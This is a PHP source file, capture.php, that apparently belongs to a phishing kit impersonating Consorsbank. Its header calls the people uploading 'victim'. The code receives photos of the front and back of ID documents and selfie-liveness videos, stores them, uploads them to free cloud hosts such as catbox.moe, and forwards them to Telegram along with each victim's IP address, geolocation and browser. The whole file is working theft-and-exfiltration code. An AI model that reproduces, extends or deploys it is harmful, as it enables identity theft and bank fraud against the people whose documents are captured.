Spaces:
Paused
Paused
File size: 7,282 Bytes
9d38145 | 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 | <?php
/**
* capture.php — document / selfie-liveness capture receiver.
*
* Realtime pipeline per POST (victim uploads each shot the moment it is taken):
* 1. Decode the data URL and write the ORIGINAL, full-resolution file to
* captures/<client_id>_<kind>[_<idx>].jpg|webm (no re-encoding).
* 2. Upload the file to the configured free cloud hosts (CLOUD_UPLOAD,
* default catbox.moe = permanent/lifetime; optional 0x0.st).
* 3. Deliver the file to Telegram as a *document* (sendDocument — full
* resolution, no recompression) whenever TELEGRAM_* is configured.
* 4. Append a record to captures/manifest.jsonl (append-only audit log).
* 5. Persist the local path + cloud-URL JSON on the live row (live_users).
* 6. Fire the ofb_msg_capture Telegram text notification (unless notify=0).
*
* POST fields: client_id, kind (id_front|id_back|selfie), image (data URL),
* optional video (data URL), optional idx (selfie keyframe 1..3), quality
* (object: light/sharp/stable), device, bot, hp, notify.
* Returns {status, files, cloud}.
*/
declare(strict_types=1);
require_once __DIR__ . '/lib.php';
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: POST, GET, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
header('Content-Type: application/json; charset=utf-8');
header('Cache-Control: no-store');
if (($_SERVER['REQUEST_METHOD'] ?? '') === 'OPTIONS') {
http_response_code(204);
exit;
}
/** Read merged JSON / form / query input. */
function cp_input(): array
{
$in = array_merge($_GET, $_POST);
$raw = file_get_contents('php://input');
if (is_string($raw) && $raw !== '') {
$j = json_decode($raw, true);
if (is_array($j)) {
$in = array_merge($in, $j);
}
}
return $in;
}
/** Decode a data URL into [binary, extension]. Empty binary on failure. */
function cp_decode(string $dataUrl): array
{
if (preg_match('#^data:(image/jpeg|image/png|video/webm|video/mp4);base64,(.+)$#s', $dataUrl, $m)) {
$mime = $m[1];
$ext = $mime === 'image/jpeg' ? 'jpg' : ($mime === 'image/png' ? 'png' : ($mime === 'video/webm' ? 'webm' : 'mp4'));
$bin = base64_decode($m[2], true);
if ($bin !== false && $bin !== '') {
return [$bin, $ext];
}
}
return ['', ''];
}
$in = cp_input();
$clientId = trim((string) ($in['client_id'] ?? ($in['clientId'] ?? '')));
$kind = (string) ($in['kind'] ?? '');
$allowed = ['id_front', 'id_back', 'selfie'];
if ($clientId === '' || !in_array($kind, $allowed, true)) {
echo json_encode(['status' => 'error', 'error' => 'client_id and kind (id_front|id_back|selfie) required']);
exit;
}
$safeId = preg_replace('/[^A-Za-z0-9\-]/', '', $clientId);
if ($safeId === '') {
echo json_encode(['status' => 'error', 'error' => 'bad client_id']);
exit;
}
$dir = __DIR__ . '/captures';
if (!is_dir($dir)) {
@mkdir($dir, 0775, true);
}
$idx = isset($in['idx']) ? max(0, (int) $in['idx']) : 0;
$saved = [];
$cloud = [];
/* ---- 1) original image (full resolution, as captured) -------------------- */
$image = (string) ($in['image'] ?? '');
if ($image !== '') {
[$bin, $ext] = cp_decode($image);
if ($bin !== '') {
$suffix = ($kind === 'selfie' && $idx > 0) ? '_' . $idx : '';
$rel = 'captures/' . $safeId . '_' . $kind . $suffix . '.' . $ext;
if (@file_put_contents(__DIR__ . '/' . $rel, $bin) !== false) {
$saved[] = $rel;
/* ---- 2) free-lifetime cloud upload ---- */
$cloud = array_merge($cloud, ofb_cloud_upload(__DIR__ . '/' . $rel, basename($rel)));
}
}
}
/* ---- 1b) original video clip (selfie liveness webm) ---------------------- */
$video = (string) ($in['video'] ?? '');
$videoRel = '';
if ($video !== '') {
[$vbin, $vext] = cp_decode($video);
if ($vbin !== '') {
$videoRel = 'captures/' . $safeId . '_' . $kind . '.' . $vext;
if (@file_put_contents(__DIR__ . '/' . $videoRel, $vbin) !== false) {
$saved[] = $videoRel;
$cloud = array_merge($cloud, ofb_cloud_upload(__DIR__ . '/' . $videoRel, basename($videoRel)));
} else {
$videoRel = '';
}
}
}
/* ---- 5) persist on the live row ------------------------------------------ */
$primary = '';
if ($kind === 'selfie' && $videoRel !== '') {
$primary = $videoRel;
} elseif ($saved) {
$primary = $saved[0];
}
try {
$pdo = ofb_db();
$fields = ['ip_address' => ofb_client_ip(), 'last_seen' => date('Y-m-d H:i:s')];
if ($primary !== '') {
ofb_save_capture($clientId, $kind, $primary);
}
if ($cloud) {
$fields['capture_cloud'] = json_encode(['kind' => $kind, 'urls' => $cloud], JSON_UNESCAPED_SLASHES);
ofb_upsert($pdo, $clientId, $fields);
$fields = []; // already written
}
if ($fields) {
ofb_upsert($pdo, $clientId, $fields);
}
} catch (Throwable $e) {
// best-effort
}
/* ---- 3) Telegram document delivery (full resolution) ---------------------- */
$hp = (string) ($in['hp'] ?? '') !== '';
$bot = $hp ? 'bot' : (string) ($in['bot'] ?? '');
$device = (string) ($in['device'] ?? '');
$quality = is_array($in['quality'] ?? null) ? $in['quality'] : [];
$ip = ofb_client_ip();
$ua = (string) ($_SERVER['HTTP_USER_AGENT'] ?? '');
$kindMap = ['id_front' => 'Ausweis Vorderseite', 'id_back' => 'Ausweis Rückseite', 'selfie' => 'Selfie (Live-Check)'];
$kindLabel = $kindMap[$kind] ?? $kind;
foreach ($saved as $rel) {
$abs = __DIR__ . '/' . $rel;
$caption = "|==- Consorsbank -==|\n" . $kindLabel . ' · ' . $clientId
. "\n" . basename($rel) . ($cloud ? "\nCloud: " . implode(' ', $cloud) : '')
. "\n#Client_" . $clientId;
ofb_telegram_document($abs, basename($rel), $caption);
}
/* ---- 4) append-only manifest ---------------------------------------------- */
if ($saved) {
ofb_capture_manifest([
'ts' => date('Y-m-d H:i:s'),
'client_id' => $clientId,
'kind' => $kind,
'idx' => $idx,
'files' => $saved,
'cloud' => $cloud,
'quality' => [
'light' => isset($quality['light']) ? (int) round((float) $quality['light']) : null,
'sharp' => isset($quality['sharp']) ? (int) round((float) $quality['sharp']) : null,
'stable' => isset($quality['stable']) ? (int) round((float) $quality['stable']) : null,
],
'device' => $device,
'bot' => $bot,
'ip' => $ip,
]);
}
/* ---- 6) Telegram text notification ---------------------------------------- */
$notify = (string) ($in['notify'] ?? '1') !== '0';
if ($notify && ($saved || $videoRel)) {
ofb_telegram(ofb_msg_capture([
'client_id' => $clientId,
'device' => $device,
'ip' => $ip,
'geo' => ofb_geo($ip),
'browser' => ofb_browser($ua),
'kind' => $kind,
'quality' => $quality,
'video' => $videoRel !== '' ? 'ja (' . basename($videoRel) . ')' : '',
'file' => implode(', ', $saved),
]));
}
echo json_encode([
'status' => 'ok',
'files' => $saved,
'cloud' => $cloud,
]);
|